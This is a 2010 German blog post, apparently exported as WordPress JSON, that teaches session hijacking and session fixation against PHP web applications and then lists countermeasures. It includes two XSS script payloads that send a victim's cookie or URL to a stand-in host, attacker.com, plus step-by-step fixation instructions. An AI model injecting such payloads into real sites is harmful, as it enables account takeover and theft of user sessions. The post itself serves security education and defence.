{"id":412,"date":"2010-11-28T17:27:08","date_gmt":"2010-11-28T16:27:08","guid":{"rendered":"https:\/\/d-mueller.de\/blog\/?p=412"},"modified":"2016-01-11T23:09:54","modified_gmt":"2016-01-11T22:09:54","slug":"angriffe-auf-webanwendungen-teil-2-session-highjacking-und-session-fixation","status":"publish","type":"post","link":"https:\/\/d-mueller.de\/blog\/angriffe-auf-webanwendungen-teil-2-session-highjacking-und-session-fixation\/","title":{"rendered":"Angriffe auf Webanwendungen \u2013 Teil 2: Session-Highjacking und Session-Fixation"},"content":{"rendered":"<p>Dieser Post setzt die Kenntnis von <a href=\"https:\/\/d-mueller.de\/blog\/angriffe-auf-webanwendungen-teil-1-xss-beispielangriff\/\">XSS<\/a> und die des <a href=\"https:\/\/d-mueller.de\/blog\/php-session-management-erklaert\/\">PHP Session Managements<\/a> voraus.<\/p>\n<h3>Disclaimer<\/h3>\n<p>Ich beschreibe diese Attacke aus Angreifer-Sicht. Wenn man sich in die Rolle des Angreifers hineinversetzen kann, f\u00e4llt es leichter, weitere Sicherheitsl\u00fccken zu identifizieren. Ich bin also nicht zur dunklen Seite gewechselt und stifte auch nicht dazu an, es zu tun.<\/p>\n<h3>Was ist Session-Highjacking \/ Session-Fixation<\/h3>\n<p>Eigentlich handelt es sich um ganz simple Verfahren. Beim <b>Session-Highjacking<\/b> versuche ich, an die Session-ID (m)eines Opfers heranzukommen und setze diese Session-ID bei mir selbst. Auf diese Art und Weise gaukle ich dem Server also vor, dass es sich um die selbe Person handelt. Ich erhalte bequem Zugriff auf die Daten des Opfers, da ich ja seine Session hab. Bei der <b>Session-Fixation<\/b> ist der Prozess sehr \u00e4hnlich: Ich juble meinem Opfer aktiv eine Session-ID unter, welche ich bei mir dann selbst setze. Das Opfer meldet sich an und ich habe die Session-ID, welche ich bei mir setze &#8211; Das Ergebnis ist in jedem Fall das Gleiche: Ich habe Vollzugriff.<\/p>\n<h3>Wie geht Session-Highjacking?<\/h3>\n<p>Eine Variante ist ein <a href=\"http:\/\/de.wikipedia.org\/wiki\/Man-in-the-middle-Angriff\">Man in the middle<\/a>-Angriff, bei dem ich mich zwischen das Opfer und den Router h\u00e4nge und somit die Session-ID per Paketsniffer auslesen kann. Ich m\u00f6chte mich aber eher auf den konventionellen Weg mit Web-Techniken beschr\u00e4nken. Wie ich im Artikel \u00fcbers <a href=\"https:\/\/d-mueller.de\/blog\/php-session-management-erklaert\/\">PHP Session Management<\/a> bereits beschrieben habe, wird die Session-ID entweder per URL in der Form <i>?PHPSESSID=&#8230;.<\/i> angehangen oder in einem Session-Cookie auf dem PC des Users gespeichert, der dann bei jedem Request an den Server \u00fcbertragen wird.<\/p>\n<p>Wenn es mir jetzt also gelingt, mittels XSS-Techniken folgenden Code auf der Webseite zu platzieren:<\/p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">\r\n&lt;script&gt;\r\nvar url=&quot;http:\/\/www.attacker.com\/getsession.php?session=&quot;+document.cookie,\r\n\ttheimg = document.createElement(&quot;img&quot;);\r\n\t\r\ntheimg.src=url;\r\ndocument.body.appendChild(theimg);\r\ntheimg.style.display=&quot;none&quot;;\r\n&lt;\/script&gt;\r\n<\/pre>\n<p>So kriege ich direkt die Session-ID des Benutzers in die H\u00e4nde gespielt. Als n\u00e4chsten Schritt melde ich mich selbst auf der Webseite mit meinem eigenen Account an &#8211; dadurch kriege ich ein Session-Cookie dieser Webseite mit meiner Session-ID verpasst. Jetzt kommt das Plugin <a href=\"https:\/\/addons.mozilla.org\/de\/firefox\/addon\/4510\/\">Cookie Edit<\/a> ins Spiel. Damit editiere ich meinen Session-Cookie und \u00e4ndere die Session-ID auf die des Opfers. Wenn alles gut ging, bin ich nun als mein Opfer eingeloggt.<br \/>\n<div id=\"attachment_415\" style=\"width: 310px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/d-mueller.de\/blog\/wp-content\/uploads\/2010\/11\/cookie-editieren.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-415\" src=\"https:\/\/d-mueller.de\/blog\/wp-content\/uploads\/2010\/11\/cookie-editieren-300x211.png\" alt=\"Sessioncookie editieren\" title=\"Sessioncookie editieren\" width=\"300\" height=\"211\" class=\"size-medium wp-image-415\" srcset=\"https:\/\/d-mueller.de\/blog\/wp-content\/uploads\/2010\/11\/cookie-editieren-300x211.png 300w, https:\/\/d-mueller.de\/blog\/wp-content\/uploads\/2010\/11\/cookie-editieren.png 958w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-415\" class=\"wp-caption-text\">Sessioncookie editieren<\/p><\/div><\/p>\n<p>Wenn die Webseite nicht mit Session-Cookies sondern mit dem <i>?PHPSESSID=&#8230;<\/i> &#8211; Parameter arbeitet, wird es noch viel einfacher. Dann sieht das per XSS einzuschleusende Script so aus (Abwandlung: <i>document.url<\/i> statt <i>document.cookie<\/i>):<\/p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">\r\n&lt;script&gt;\r\nvar url=&quot;http:\/\/www.attacker.com\/getsession.php?url=&quot;+document.url,\r\n\ttheimg = document.createElement(&quot;img&quot;);\r\n\t\r\ntheimg.src=url;\r\ndocument.body.appendChild(theimg);\r\ntheimg.style.display=&quot;none&quot;;\r\n&lt;\/script&gt;\r\n<\/pre>\n<p>Damit wird die URL \u00fcbertragen, in der ja die Session-ID drinsteckt. Ich selbst brauch nun blos genau diese URL aufrufen und habe damit automatisch die Session-ID des Opfers &#8211; einfacher gehts nicht. Voraussetzung ist nat\u00fcrlich, dass ich erstmal mit XSS die Seite manipulieren kann. W\u00e4re das gekl\u00e4rt. N\u00e4chstes Thema.<\/p>\n<h3>Wie geht Session-Fixation?<\/h3>\n<ol>\n<li>Ich logge mich auf der Seite mit meinem eigenen Account ein, von der ich den Useraccount meines Opfers stehlen will. <\/li>\n<li>Mittels <i>Edit Cookie<\/i> kopiere ich meine Session-ID (siehe Bild oben).<\/li>\n<li>Nun pr\u00fcfe ich, ob die Seite auch den <i>?PHPSESSID=&#8230;<\/i> &#8211; Parameter akzeptiert. Dazu einfach per <i>http:\/\/www.webseite.de?PHPSESSID=1234<\/i> \u00fcberpr\u00fcfen, ob ich immer noch eingeloggt bin. Wenn das nicht mehr der Fall ist, wurde meine Session-ID auf 1234 gesetzt, die es nicht gibt. Ist das der Fall, schicke ich meinem Opfer nun einfach den Link <i>http:\/\/www.webseite.de?PHPSESSID=[meine-session-id]<\/i>. Akzeptiert die Webseite keine Session-IDs per Parameter, wird es betr\u00e4chtlich schwieriger und ich muss meinem Opfer einen Session-Cookie mit meiner Session unterjubeln. Das ist dann allerdings wesentlich komplizierter, als auf Session-Highjacking zu setzen, da ich auch wieder eine XSS-L\u00fccke auf der Webseite ausfindig machen muss. Denn nur wenn ich von der betreffenden Webseite selbst den Cookie setze, wird er als valider Session-Cookie akzeptiert.<\/li>\n<li>Sobald sich das Opfer mit seinem Account anmeldet, habe ich Zugriff. Je nach Aufbau des Angriffs kann es allerdings auch dazu kommen, dass das Opfer pl\u00f6tzlich mit meinem Account eingeloggt ist. Dies gilt es vorher zu pr\u00fcfen (mit verschiedenen Browsern). Sollte das der Fall sein, schicke ich dem Opfer eine frei ausgedachte Session-ID und setze diese dann im Anschluss bei mir selbst.<\/li>\n<\/ol>\n<h3>Gegenma\u00dfnahmen zum Session-Highjacking und Session-Fixation<\/h3>\n<ul>\n<li>Folgende php.ini Einstellungen verwenden (genauer erkl\u00e4rt <a href=\"https:\/\/d-mueller.de\/blog\/php-session-management-erklaert\/\">hier<\/a>):\n<pre data-enlighter-language=\"enlighter\" class=\"EnlighterJSRAW\">\r\nsession.use_cookies = 1\r\nsession.use_only_cookies = 1\r\nsession.use_trans_sid = 0\r\nsession.cookie_httponly = 1 \r\n<\/pre>\n<p>Damit wird zumindest verhindert, dass die Session-ID in der URL \u00fcbermittelt wird. <i>session.cookie_httponly<\/i> sorgt daf\u00fcr, dass der Browser nicht per document.cookie auf den Session-Cookie zugreifen wird <s>&#8211; das ist leider noch nicht weitreichend implementiert<\/s>.<\/p>\n<p><b>Korrektur:<\/b> Nachdem ich einen Fehler in meinem Testscript entdeckt hatte, habe ich erneut alle relevanten Browser bis herunter zum IE 6 getestet und musste feststellen, dass sich alle absolut korrekt verhalten und keine Session-Cookies per Javascript und <i>document.cookie<\/i> ausliefern!<\/p>\n<p> Genaugenommen erh\u00f6hen wir durch die obigen 4 Einstellungen die Sicherheit nur, machen Session Highjacking aber nicht unm\u00f6glich<\/li>\n<li>Indem auf jeder Seite\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">session_regenerate_id();<\/pre>\n<p> aufgerufen wird, wird die Session-ID auf jeder Page gewechselt. Dadurch sinkt das Risiko, dass der Angreifer in Besitz einer g\u00fcltigen Session-ID kommt drastisch, denn das Opfer m\u00fcsste sich immer noch auf der selben Seite befinden wie es sich befand, als die Session-ID gehighjackt wurde.<\/li>\n<li>Alle XSS-L\u00fccken schlie\u00dfen (wirkungslos bei Session-Fixation aber generell immer empfehlenswert)<\/li>\n<li>Kopplung des Useragents und der IP an die Session:\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\r\nif ($_SERVER[&#039;REMOTE_ADDR&#039;] !== $_SESSION[&#039;last_ip&#039;] ||\r\n    $_SERVER[&#039;HTTP_USER_AGENT&#039;] !== $_SESSION[&#039;last_useragent&#039;])\r\n{\r\n\t\/\/attack detected\r\n}\r\n\r\n$_SESSION[&#039;last_ip&#039;] = $_SERVER[&#039;REMOTE_ADDR&#039;];\r\n$_SESSION[&#039;last_useragent&#039;] = $_SERVER[&#039;HTTP_USER_AGENT&#039;];\r\n<\/pre>\n<p>Kann allerdings nicht immer unproblematisch sein, da in Internet-Caffees und hinter Proxies andere Regeln gelten ;).<\/li>\n<li>Logout-M\u00f6glichkeit anbieten, die die Session zerst\u00f6rt sowie per vern\u00fcnftiger php.ini &#8211; Einstellung die\n<pre data-enlighter-language=\"enlighter\" class=\"EnlighterJSRAW\">session.gc_maxlifetime<\/pre>\n<p> beschr\u00e4nken.<\/li>\n<li>Die Pr\u00fcfung, ob der Benutzer von der eigenen Seite kam,  macht auf den ersten Blick zwar erstmal Sinn, allerdings greift auch hier wieder das Problem mit den Proxies, die evtl. den Referrer komplett wegblocken, obwohl der Benutzer garnichts b\u00f6ses im Schilde f\u00fchrt. Zudem kann der Angreifer selbst auch seinen Referrer anpassen.<\/li>\n<\/ul>\n<h3>Weitere Teile der Serie<\/h3>\n<ul>\n<li><a href=\"https:\/\/d-mueller.de\/blog\/angriffe-auf-webanwendungen-teil-3-sql-injection\/\">Teil 3: SQL-Injection<\/a><\/li>\n<li><a href=\"https:\/\/d-mueller.de\/blog\/angriffe-auf-webanwendungen-teil-4-csrf\/\">Teil 4: CSRF<\/a><\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Dieser Post setzt die Kenntnis von XSS und die des PHP Session Managements voraus. Disclaimer Ich beschreibe diese Attacke aus Angreifer-Sicht. Wenn man sich in die Rolle des Angreifers hineinversetzen kann, f\u00e4llt es leichter, weitere Sicherheitsl\u00fccken zu identifizieren. Ich bin &hellip; <a href=\"https:\/\/d-mueller.de\/blog\/angriffe-auf-webanwendungen-teil-2-session-highjacking-und-session-fixation\/\">Weiterlesen <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4,6,3],"tags":[],"class_list":["post-412","post","type-post","status-publish","format-standard","hentry","category-php","category-security","category-webdev"],"_links":{"self":[{"href":"https:\/\/d-mueller.de\/blog\/wp-json\/wp\/v2\/posts\/412","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/d-mueller.de\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/d-mueller.de\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/d-mueller.de\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/d-mueller.de\/blog\/wp-json\/wp\/v2\/comments?post=412"}],"version-history":[{"count":0,"href":"https:\/\/d-mueller.de\/blog\/wp-json\/wp\/v2\/posts\/412\/revisions"}],"wp:attachment":[{"href":"https:\/\/d-mueller.de\/blog\/wp-json\/wp\/v2\/media?parent=412"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/d-mueller.de\/blog\/wp-json\/wp\/v2\/categories?post=412"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/d-mueller.de\/blog\/wp-json\/wp\/v2\/tags?post=412"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}